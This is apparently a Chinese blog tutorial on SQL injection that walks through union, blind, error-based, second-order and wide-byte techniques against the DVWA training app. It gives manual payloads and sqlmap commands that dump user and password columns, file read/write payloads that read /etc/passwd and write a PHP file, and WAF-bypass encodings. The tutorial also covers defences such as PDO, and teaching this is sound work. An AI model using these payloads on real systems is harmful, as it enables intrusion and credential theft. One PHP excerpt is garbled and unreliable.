SQL注入总结

在这里插入图片描述

SQL注入原理

1、理解SQL注入
	SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的sql服务器加以解析和执行。由于sql语句本身的多样性,以及可用于构造sql语句的编程方法很多,因此凡是构造sql语句的步骤均存在被攻击的潜在风险。Sql注入的方式主要是直接将代码插入参数中,这些参数会被置入sql命令中加以执行。间接的攻击方式是将恶意代码插入字符串中,之后将这些字符串保存到数据库的数据表中或将其当成元数据。当将存储的字符串置入动态sql命令中时,恶意代码就将被执行。

	如果web应用未对动态构造的sql语句使用的参数进行正确性审查(即便使用了参数化技术),攻击者就很可能会修改后台sql语句的构造。如果攻击者能够修改sql语句,那么该语句将与应用的用户具有相同的权限。当使用sql服务器执行与操作系统交互命令时,该进程将与执行命令的组件(如数据库服务器、应用服务器或web服务器)拥有相同的权限,这种权限的级别通常很高。如果攻击者执行以上恶意代码的插入操作成功,那么用户数据库服务器或者整个应用会遭到破坏,甚至被控制。 
2、SQL注入的产生过程及常见原因
1.产生过程
	大多数的web应用都需要与数据库进行交互,并且大多数web应用编程语言(如ASP、C##、.NET、Java和PHP)均提供了可编程的方法来与数据库连接并进行交互。如果web应用开发人员无法确保在将从web表单,cookie及输入参数等收到的值传递给sql查询(该查询在数据库服务器上执行)之前已经对其进行过验证,那么通常会出现sql注入漏洞,如果攻击者能够控制发送给sql查询的输入,并且能够操纵该输入将其解析为代码而非数据,那么攻击者就很有可能有能力在后台数据库执行该代码。

2.常见的sql注入产生原因
	2.1.不当的处理类型
	Sql数据库将单引号字符(’)解析成代码与数据间的分界线:单引号外面的内容军事需要运行的代码,而用单引号引起来的内容均是数据。因为只需要简单的在URL或WEB页面的字段中输入一个单引号,就能很快速的识别出web站点是否会受到sql注入攻击。 
	2.2.不安全的数据库配置
	数据库带有很多默认的用户预安装内容。SQL Server使用声名狼藉的“sa”作为数据库系统管理员账户,MySQL使用“root”和“anonymous”用户账户,Oracle则在创建数据库时通常会创建SYS、SYSTEM、DBSNMP和OUTLN账户。这些并非是全部的账号,知识比较出名的账户中的一部分,还有很多其他的账户。其他账户同样按默认方式进行预设,口令总所周知。
	这就带来了很大的安全风险,攻击者利用sql注入漏洞时,通常会常识访问数据库的元数据,比如内部的数据库和表的名称、列的数据类型和访问权限,例如MySQL服务器的元数据位于information_schema虚拟数据库中,可通过show databases;和show tables;命令访问。所有的MySQL用户均有权限访问该数据库中的表,但只能查看表中那些与该用户访问权限相对应的对象的行。
	2.3.不合理的查询集处理
	有时需要使用动态的sql语句对某些复杂的应用进行编码,因为程序开发阶段可能还不知道要查询的表或字段(或者不存在)。比如与大型数据库交互的应用,这些数据库在定期创建的表中的数据由于应用已经产生了输入,因而开发人员会信任该数据,攻击者可以使用自己的表和字段数据来替换应用产生的值,从而影响系统的返回值。
	2.4.不当的错误处理
	错误处理不当会为web站点带来很多安全方面的问题。最常见的问题是将详细的内部错误消息(如错误代码,数据库转存储)显示给用户或攻击。这些错误消息会泄露实现细节,为攻击者提供与网站潜在缺陷相关的重要线索。
	2.5.多个提交处理不当
	大型的web开发项目会出现这样的问题:有些开发人员会对输入进行验证,而一些开发人员则不以为然。对于开发人员,团队,甚至公司来说,彼此独立工作的情形并不少见,很难保证项目中每个人都遵循相同的标准。
	应用打开发人员还倾向于围绕用户来设计应用,他们尽可能的使用预期的处理流程来引导用户,认为用户将遵循他们已经设计好的逻辑顺序。
	例如:当用户已到达一系列表单中的第三个表单时,他们会期望用户肯定已经完成第一个和第二个表达。但实际上,借助URL乱序来请求资源,能够非常容易的避开预期的数据流程。

MYSQL注入思路

在这里插入图片描述

SQL注入基础知识

1、关于information_schema**
1.information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

2.information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
1.SCHEMATA 表:当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据

mysql> use information_schema;
mysql> select SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME from SCHEMATA;
+--------------------+----------------------------+
| SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME |
+--------------------+----------------------------+
| information_schema | utf8                       |
| challenges         | gbk                        |
| mysql              | latin1                     |
| performance_schema | utf8                       |
| security           | gbk                        |
+--------------------+----------------------------+

2.TABLES 表:存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。

mysql> select TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME from tables limit 0,5;
+---------------+--------------------+---------------------------------------+
| TABLE_CATALOG | TABLE_SCHEMA       | TABLE_NAME                            |
+---------------+--------------------+---------------------------------------+
| def           | information_schema | CHARACTER_SETS                        |
| def           | information_schema | COLLATIONS                            |
| def           | information_schema | COLLATION_CHARACTER_SET_APPLICABILITY |
| def           | information_schema | COLUMNS                               |
| def           | information_schema | COLUMN_PRIVILEGES                     |
+---------------+--------------------+---------------------------------------+
5 rows in set (0.00 sec)

3.COLUMNS 表:存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果。

mysql> SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME FROM COLUMNS LIMIT 2,5;
+---------------+--------------------+----------------+
| TABLE_CATALOG | TABLE_SCHEMA       | TABLE_NAME     |
+---------------+--------------------+----------------+
| def           | information_schema | CHARACTER_SETS |
| def           | information_schema | CHARACTER_SETS |
| def           | information_schema | COLLATIONS     |
| def           | information_schema | COLLATIONS     |
| def           | information_schema | COLLATIONS     |
+---------------+--------------------+----------------+

4.USER_PRIVILEGES 表:用户权限表。内容源自 mysql.user 授权表。是非标准表。

mysql> SELECT * FROM USER_PRIVILEGES limit 0,5;
+--------------------+---------------+----------------+--------------+
| GRANTEE            | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+--------------------+---------------+----------------+--------------+
| 'root'@'localhost' | def           | SELECT         | YES          |
| 'root'@'localhost' | def           | INSERT         | YES          |
| 'root'@'localhost' | def           | UPDATE         | YES          |
| 'root'@'localhost' | def           | DELETE         | YES          |
| 'root'@'localhost' | def           | CREATE         | YES          |
+--------------------+---------------+----------------+--------------+
5 rows in set (0.00 sec)
2、关于字符型、数值型的判断

在这里插入图片描述

3、关于跨库攻击

3.1、提前准备

mysql> create database book;
mysql> use book;
mysql> CREATE TABLE IF NOT EXISTS book(    `book_id` INT UNSIGNED AUTO_INCREMENT,    `book_title` VARCHAR(100) NOT NULL,    `book_author` VARCHAR(40) NOT NULL,    `submission_date` DATE,    PRIMARY KEY ( `book_id` ) )ENGINE=InnoDB DEFAULT CHARSET=utf8;
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| book               |
| mysql              |
| performance_schema |
+--------------------+
mysql> use book;
mysql> show tables;
+----------------+
| Tables_in_book |
+----------------+
| book           |
+----------------+
1 row in set (0.00 sec)

mysql> desc book;
+-----------------+------------------+------+-----+---------+----------------+
| Field           | Type             | Null | Key | Default | Extra          |
+-----------------+------------------+------+-----+---------+----------------+
| book_id         | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| book_title      | varchar(100)     | NO   |     | NULL    |                |
| book_author     | varchar(40)      | NO   |     | NULL    |                |
| submission_date | date             | YES  |     | NULL    |                |
+-----------------+------------------+------+-----+---------+----------------+
4 rows in set (0.00 sec)

3.2、注入流程
3.2.1、打开网页进行查询当前数据库的用户、数据库名

注意:跨库查询的前提条件是必须高权限的用户才能执行跨库查询

// 查询当前数据库的用户,可以看到当前用户为root拥有最高的权限
?id=-1%20union%20select%201,user(),3

// 查询当前数据库的数据库名,获取到当前网站的数据库是security
?id=-1%20union%20select%201,database(),3

在这里插入图片描述

在这里插入图片描述

3.2.2、获取到所有的数据库名称

union select 1,group_concat(schema_name),3 from information_schema.schemata

备注:GROUP_CONCAT函数将分组中的字符串与各种选项进行连接。

在这里插入图片描述

3.2.3、指定获取book库中的表名信息

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='book'

在这里插入图片描述

3.2.4、获取指定数据库book下的book表的列名信息

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='book' and table_schema='book'

在这里插入图片描述

3.2.5、查询到指定数据

union  select book_id,book_title,book_author from book.book

在这里插入图片描述

4、关于文件读写函数

4.1、函数介绍

load_file							文件读取
into outfile 或into dumpfile		文件写入

4.2、查询是否有写入的权限

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

在这里插入图片描述

4.3、文件读取

?id=-2%20union%20select%201,load_file(%27/etc/passwd%27),3
等同于
select load_file('/etc/passwd')\G;

在这里插入图片描述

4.4、文件写入

?id=-2%20union%20select%201,%27<?php%20phpinfo()%20?>%27,3%20into%20outfile%20%27./test.php%27
等同于
select '<?php phpinfo() ?>' into outfile '/var/www/html/test.php'

注意:在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限,若想在/var/www/html/下面写入,需要对目录修改权限

在这里插入图片描述

5、关于魔术引号
1.简介
魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同:正确地接收和读取数据,从而正确地执行SQL语句,防止恶意的SQL注入。

2.为什么在PHP5.4.0及其之后PHP版本中被取消
	2.1.可移植性
	编程时认为其打开或并闭都会影响到移植性。可以用 get_magic_quotes_gpc() 来检查是否打开,并据此编程。 
	2.2.性能
 	由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。在运行时调用转义函数(如 addslashes())更有效率。 尽管 php.ini-dist 默认打开了这个选项,但是 php.ini-recommended 默认却关闭了它,主要是出于性能的考虑。
	2.3.方便
由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 '。针对这个问题,可以使用 stripslashes() 函数处理。

3.绕过方法
采用hex(16进制)编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。
6、关于盲注与报错注入

6.1、盲注

1.简介
在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,需要使用一些特殊的方式来判断,这个过程成为盲注。

2.分类
布尔盲注(是或不是)、时间盲注

3.常用函数
substr(string str, num start, num len)	// 从 start 位置截取 str 字符串 len 位;初始位置为1,且 len 可省略

length(string str)	// 返回字符串长度

ord(string str)	// 返回 str 最左面字符的 ASCII 码值

left(string str, num len)	// 从左截取 str 的前 len 位

limit [offset,] rows	// offset 指定从哪一行开始返回,初始行的偏移量为0;rows 指定返回具体行数

ascii()	// 将某个字符转换为 ASCII 码值

if(exp1, exp2, exp3)	// 如果 exp1 正确,就执行 exp2 ,否则执行 exp3;搭配 sleep() 使用

sleep(time)	// 休眠多少秒

concat(str1, str2,...)	// 将多个字符串连接成一个字符串,保持原有行数

concat_ws(separator, str1, str2, ...)	// 将多个字符串连接成一个字符串,但是可以一次性指定分隔符,保持原有行数

group_concat(str1, str2,...)	// 将多个字符串连接成一个字符串,合并到一行

6.2、报错注入

1.简介
一般是页面没有回显,但是SQL语句执行可以输出错误信息的情况。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

2.注意:报错注入最好用 and ,因为我们目的是让其产生报错信息。

3.Xpath类型函数(mysql version >= 5.1.5):
extractvalue (XML_document, XPath_string)
 - 第一个参数:XML_document 是目标XML文档
 - 第二个参数:XPath_string 是该XML文档的路径,如果写入其他格式就会报错,并且返回非法格式的内容,报错注入正是利用这一点

updatexml (XML_document, XPath_string, new_value)
 - 第一个参数:XML_document 是目标XML文档
 - 第二个参数:XPath_string 是该XML文档的路径,如果写入其他格式就会报错,并且返回非法格式的内容,报错注入正是利用这一点
 - 第三个参数:new_value 用来替换查找到的符合条件的数据
7、关于二次注入

7.1、介绍

1.简介
指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入

2.补充
mysql_escape_string()函数,该函数和mysql_real_escape_string一样可以转移特殊字符,但不同的是经过mysql_escape_string处理的参数在存入数据库时会被还原成原来的数据

3.场景
设想在登录页面username和password都经过了mysql_real_escape_string函数的转义,无法造成SQL注入。但注册页面使用的是mysql_escape_string函数,那么我们注册一个名为admin'#的用户,密码设为admin,登录该用户后,在修改密码页面修改密码为123456,这时admin'#的密码没有被修改,反而是admin的密码被修改了。

4.原理
后端数据库执行的命令为,UPDATE users SET PASSWORD='123456’ where username='admin'#' and password='admin',等价于,UPDATE users SET PASSWORD='123456' where username='admin'
最后我们看到的是将admin的账户密码修改为了123456而admin'#并没有发生改变,原因是代码执行的过程中将'#没有过滤直接带入执行导致'与前面的代码闭合而#将后面的代码给注释。

7.2、原理示意图
在这里插入图片描述

7.3、场景图
在这里插入图片描述

在这里插入图片描述

8、关于宽字节注入(%df’)

8.1、前言

1.当某字符的大小为一个字节时,称其字符为窄字节
2.当某字符的大小为两个字节时,称其字符为宽字节
3.所有英文默认占一个字节,汉字占两个字节
4.常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS

8.2、原理

 MySQL数据库编码与PHP编码不同导致,如MySQL数据库使用GBK编码而PHP编码为UTF8。MySQL认为两个字符是一个汉字(前一个字符ascii码要大于128,如%df),而当我们输入%df和单引号(%df')时,MySQL会调用转义函数如addslashes,将单引号转义(添加 \ )后整个为 %df\' ,其中 \ 的十六进制是%5c,即 %df%5c' ,而MySQL的GBK编码会认为%df%5c是一个汉字(運),而此时单引号仍然存在,可以实现闭合,从而造成SQL注入。

在这里插入图片描述
参考链接: 渗透测试-SQL注入之宽字节注入

DVWA 普通手工SQL注入

1、Low级别
1.1、代码分析

查看前端代码:发现是一个form表单,有id和submit两个参数,并且以GET方式提交。
在这里插入图片描述
查看后端PHP代码:

  • isset( $_REQUEST[ ‘Submit’ ] ) // 判断Submit变量是否存在
  • $id = R E Q U E S T [ ′ i d ′ ] / / 获取 i d 变量的值并赋值给变量 _REQUEST[ 'id' ] // 获取id变量的值并赋值给变量 REQUEST[id]//获取id变量的值并赋值给变量id
  • q u e r y = " S E L E C T f i r s t n a m e , l a s t n a m e F R O M u s e r s W H E R E u s e r i d = ′ query = "SELECT first_name, last_name FROM users WHERE user_id = ' query="SELECTfirstname,lastnameFROMusersWHEREuserid=id’;" //将查询语句字符串赋值给变量$query
  • r e s u l t = m y s q l i q u e r y ( result = mysqli_query( result=mysqliquery(GLOBALS[“___mysqli_ston”], q u e r y ) o r d i e ( ′ < p r e > ′ . ( ( i s o b j e c t ( query ) or die( '<pre>' . ((is_object( query)ordie(<pre>.((isobject(GLOBALS[“___mysqli_ston”]))…
    //执行查询语句,若出错则会输出错误信息。返回的结果集赋值给变量$result
    在这里插入图片描述

将结果集中first_name和last_name字段的值分别赋值给变量 f i r s t 和变量 first和变量 first和变量last,并打印输出。
在这里插入图片描述

1.2、Poc
输入单引号查询,页面报错,判断存在SQL注入。
在这里插入图片描述

如何判断是字符型还是数值型的方法,参考此链接:sql注入_字符型、数字型判断
在这里插入图片描述

输入1查询出的用户为admin,输入1+2查询出的用户还是admin,判断是字符型SQL注入。
或者
输入1 and 1=2 页面回显正常,判断是字符型SQL注入。

1.3、注入流程
1.3.1、猜字段数
1’ order by 1# 和 1’ order by 2# 回显正常,1’ order by 3# 报错,由此得到字段数目为2。使用#是注释掉后面那个单引号。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1.3.2、判断可显示字段
通过联合查询判断哪些字段可以显示出来:’ union select 1,2#
可以看到字段1和字段2都可以被显示出来
在这里插入图片描述

1.3.3、利用MySQL内置函数查询用户名和数据库名
输入:’ union select user(),database()#
得到当前用户名为root@localhost,数据库名为dvwa。
在这里插入图片描述

1.3.4、利用information_schema查询数据库名、表名、字段名

information_schema的三个表 SCHEMA,TABLES,COLUMNS 分别记录有系统上的数据库名,各个数据库的表名,各个表里面的字段名

这里需要先改一下dvwa数据库的排序规则,要和information_schema数据库的一致才行,即由 utf8_unicode_ci 改为 utf8_general_ci
具体操作为:phpMyAdmin - dvwa - 操作 - 排序规则 - 改为utf8_general_ci

获取全部数据库名称信息:’ union select 1,SHCEMA_NAME from information_schema.SCHEMA #
补充,这里我出现报错信息:Illegal mix of collations for operation ‘UNION’,解决办法参考此链接:sql注入时union出错(Illegal mix of collations for operation UNION)
在这里插入图片描述
可以看到有4个数据库,分别为information_schema,dvwa,mysql,performance_schema,sys,我们接着对名为dvwa的数据库进行SQL注入。

获取表名:’ union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘dvwa’ #
在这里插入图片描述
可以看到dvwa数据库有两个表,分别为guestbook,users,很明显用户名和密码是在users表里面,我们继续对users表SQL注入。

获取字段名:'union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = ‘users’ #

在这里插入图片描述
可以看到有许多字段,其中user和password正是我们需要的。

这里可以用group_concat()函数,使返回的结果更加醒目:‘union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = ‘users’ #
或者使用limit限制输出个数:’ union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = ‘users’ limit 0,1 #
在这里插入图片描述
在这里插入图片描述
最后爆出用户名和密码:’ union select user,password from users#
在这里插入图片描述

2、Medium级别
2.1、代码分析
通过分析前后端代码发现,Medium等级和Low等级的区别在于:

  • Medium等级的表单通过POST方式提交,所以我们需要使用BurpSuite进行抓包。
  • 在Medium级别的PHP代码里面,出现了mysqli_real_escape_string()函数,该函数的作用是转义 SQL 语句字符串中的特殊字符,如单引号【'】,双引号【"】,反斜杠【\】,百分号【%】、空字符【null】等等,转义的方式是在这些特殊字符前加上一个反斜杠【\】。
  • SQL语句中的变量$id是数值型,采取数值型的注入。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.2、Poc

  • 输入单引号查询,页面报错,判断存在SQL注入。

  • 输入1 and 1=2,页面回显错误,判断存在数值型SQL注入。

2.3、注入流程
2.3.1、猜字段数和判断回显点和Low级别基本无差异,且不用考虑闭合单引号的问题,不做多的解释

2.3.2、利用MySQL内置函数查询用户名和数据库名,且不用考虑闭合单引号的问题,不做多的解释

2.3.3、利用information_schema爆出表名、字段名

爆表名:
union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x64767761
因为 mysqli_real_escape_string() 函数会转义单引号,所以使用 16进制 进行绕过,dvwa 的16进制表示为 0x64767761
在这里插入图片描述
在这里插入图片描述

爆字段名:
union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273
同样,因为 mysqli_real_escape_string() 函数会转义单引号,所以使用 16进制 进行绕过,users 的16进制表示为 0x7573657273

在这里插入图片描述
在这里插入图片描述

2.3.4、爆用户名、密码

union select user,password from users
在这里插入图片描述

3、High级别
High级别是在新的页面输入内容,查看源码发现只是比Low级别多了个 limit 1 来限制只输出一条,其他和Low级别一样。
在这里插入图片描述
而且查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

4、Impossible级别
我们可以看到代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入。

Check Anti-CSRF token部分:
防止CSRF攻击,Token 是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token 给前端。前端可以在每次请求的时候带上 Token 证明自己的合法地位

Was a number entered?部分:
is_numeric() 函数用于检测变量是否为数字或数字字符串。
$data = $db->prepare预编译sql语句,能防止sql注入。

Make sure only 1 result is returned部分:
$data->rowCount() == 1限制了只返回一条语句。
在这里插入图片描述

DVWA sqlmap工具实现SQL注入

1、Low级别
1.1、找注入点

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"

在这里插入图片描述

可以看到页面需要 cookie 来认证身份,通过 burpsuite 抓包得到 cookie

在这里插入图片描述

将 cookie 添加进去

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=shmh08p3tkd0metej9r2f87ada"

在这里插入图片描述

1.2、爆数据库

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -dbs

在这里插入图片描述

1.3、爆表名

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -D dvwa -tables

在这里插入图片描述

1.4、爆字段名

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -D dvwa -T users --columns

在这里插入图片描述

1.5、获取用户名、密码

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -D dvwa -T users -C user,password --dump

在这里插入图片描述

2、Medium级别
Medium 级别的表单通过 POST 方式提交,需要使用 --data 参数把数据引入过来,再改一下cookie,其余和 Low 级别一样。
在这里插入图片描述

爆库名:

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -dbs

爆表名:

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -D dvwa -tables

爆字段名:

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -D dvwa -T users --columns

获取用户名、密码:

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -D dvwa -T users -C user,password --dump

3、High级别
有时返回结果的页面并不是当前的页面,而是另外的一个页面,这就需要指定到哪个页面获取响应,判断真假。
这里我们使用 --second-url 指定到 http://192.168.124.91/DVWA/vulnerabilities/sqli/ 获取响应,判断真假,再再改一下cookie,其余和 Medium 级别一样。

在这里插入图片描述

爆库名:

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/session-input.php#" --second-url "http://192.168.124.91/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=shmh08p3tkd0metej9r2f87ada; security=high" -dbs

爆表名:

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/session-input.php#" --second-url "http://192.168.124.91/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=shmh08p3tkd0metej9r2f87ada; security=high" -D dvwa -tables

爆字段名:

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/session-input.php#" --second-url "http://192.168.124.91/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=shmh08p3tkd0metej9r2f87ada; security=high" -D dvwa -T users --columns 

获取用户名、密码:

python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/session-input.php#" --second-url "http://192.168.124.91/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=shmh08p3tkd0metej9r2f87ada; security=high" -D dvwa -T users -C user,password --dump

DVWA 盲注

1、基本概念

简介: 在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,需要使用一些特殊的方式来判断,这个过程成为盲注。

分类: 布尔盲注(是或不是)、时间盲注

常用函数:

substr(string str, num start, num len)	// 从 start 位置截取 str 字符串 len 位;初始位置为1,且 len 可省略

length(string str)	// 返回字符串长度

ord(string str)	// 返回 str 最左面字符的 ASCII 码值

left(string str, num len)	// 从左截取 str 的前 len 位

limit [offset,] rows	// offset 指定从哪一行开始返回,初始行的偏移量为0;rows 指定返回具体行数

ascii()	// 将某个字符转换为 ASCII 码值

if(exp1, exp2, exp3)	// 如果 exp1 正确,就执行 exp2 ,否则执行 exp3;搭配 sleep() 使用

sleep(time)	// 休眠多少秒

concat(str1, str2,...)	// 将多个字符串连接成一个字符串,保持原有行数

concat_ws(separator, str1, str2, ...)	// 将多个字符串连接成一个字符串,但是可以一次性指定分隔符,保持原有行数

group_concat(str1, str2,...)	// 将多个字符串连接成一个字符串,合并到一行

2、布尔盲注
Poc
输入 1 and 1=2 页面回显正常,判断为字符型SQL注入

爆库名
猜长度:

1' and length(database())=1#		或者		' or length(database())=1#
......
1' and length(database())=4#

页面回显正常,得到当前数据库名长度为 4 

在这里插入图片描述

在这里插入图片描述

猜库名:

1' and substr(database(),1,1)='d'#	 或者   1' and ascii(substr(database(),1,1))=100#
......
1' and substr(database(),4,1)='a'#

最终,得到数据库名称为 dvwa 

爆表名
猜表个数:

1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#

页面回显正常,得到表个数为 2

猜表2长度:

1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5#
或者 1' and (select length(table_name) from information_schema.tables where table_schema='dvwa' limit 1,1)=5#

页面回显正常,得到表2长度为 5

猜表2表名:

1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='u'#
......
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),2,1)='s'#

最终,得到表2名为 users

爆字段名、获取用户名密码的方法和前面所述差不多,就是无数遍的二分法,不再赘述

3、时间盲注
爆库名
猜长度:

1' and if(length(database())=4,sleep(5),1)#

页面休眠了5秒,得到数据库名长为 4

猜名字:

1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
页面休眠了5秒,得到数据库名第一个字母为 d
......
1' and if(ascii(substr(database(),4,1))=97,sleep(5),1)#
页面休眠了5秒,得到数据库名第一个字母为 a

最终得到数据库名为:dvwa

爆表名
猜表的个数:

1' and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=2,sleep(5),1)#
页面休眠了5秒,得到该数据库中表的个数为 2

猜表2名字的长度:

1' and if(length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5,sleep(5),1)#
页面休眠了5秒,得到表2名字长度为 5

猜表2名字:

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))=117,sleep(5),1)#
页面休眠了5秒,得到第一个字母为 u
......
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),5,1))=115,sleep(5),1)#
页面休眠了5秒,得到第一个字母为 s

最终得到表2名字:users

爆字段名、获取用户名密码的方法和前面所述差不多,就是无数遍的二分法,不再赘述

DVWA 报错注入

1、基本概念

简介: 一般是页面没有回显,但是SQL语句执行可以输出错误信息的情况。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

**注意:**报错注入最好用 and ,因为我们目的是让其产生报错信息。

Xpath类型函数(mysql version >= 5.1.5):

extractvalue (XML_document, XPath_string)
 - 第一个参数:XML_document 是目标XML文档
 - 第二个参数:XPath_string 是该XML文档的路径,如果写入其他格式就会报错,并且返回非法格式的内容,报错注入正是利用这一点

updatexml (XML_document, XPath_string, new_value)
 - 第一个参数:XML_document 是目标XML文档
 - 第二个参数:XPath_string 是该XML文档的路径,如果写入其他格式就会报错,并且返回非法格式的内容,报错注入正是利用这一点
 - 第三个参数:new_value 用来替换查找到的符合条件的数据

2、注入流程

爆库名

1' and extractvalue(1,concat(0x7e,database(),0x7e))#	 或者		1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

根据页面回显,得到数据库名:dvwa

在这里插入图片描述

爆表名

由于 extractvalue() 最大返回长度为 32 ,所以最好用 limit N,1 一行一行的进行回显。
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),0x7e))#
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),0x7e))#

根据页面回显,得到表名:guestbook 和 users

在这里插入图片描述
在这里插入图片描述

爆字段名

......
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e))#
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e))#

得到字段名 user 与 password

在这里插入图片描述
在这里插入图片描述

获取用户名、密码

通过 concat_ws() 和 limit N,1来进行逐条回显。
1' and extractvalue(1,concat(0x7e,(select concat_ws(',',user,password) from users limit 0,1),0x7e))#
......

在这里插入图片描述

SQL注入绕过

1、变换大小写

  • WAF拦截了union,那就使用Union、UnloN等方式绕过

2、16进制编码

  • WAF检测敏感字’admin’,则可以用0x61646d696e代替
  • WAF检测敏感字select,可以在URL中将select变成%73elEcT结合大小写变换绕过WAF
  • 用%09、%0a、%0b、%Oc、%0d、%a0、/**/、/somewords/等来替换空格

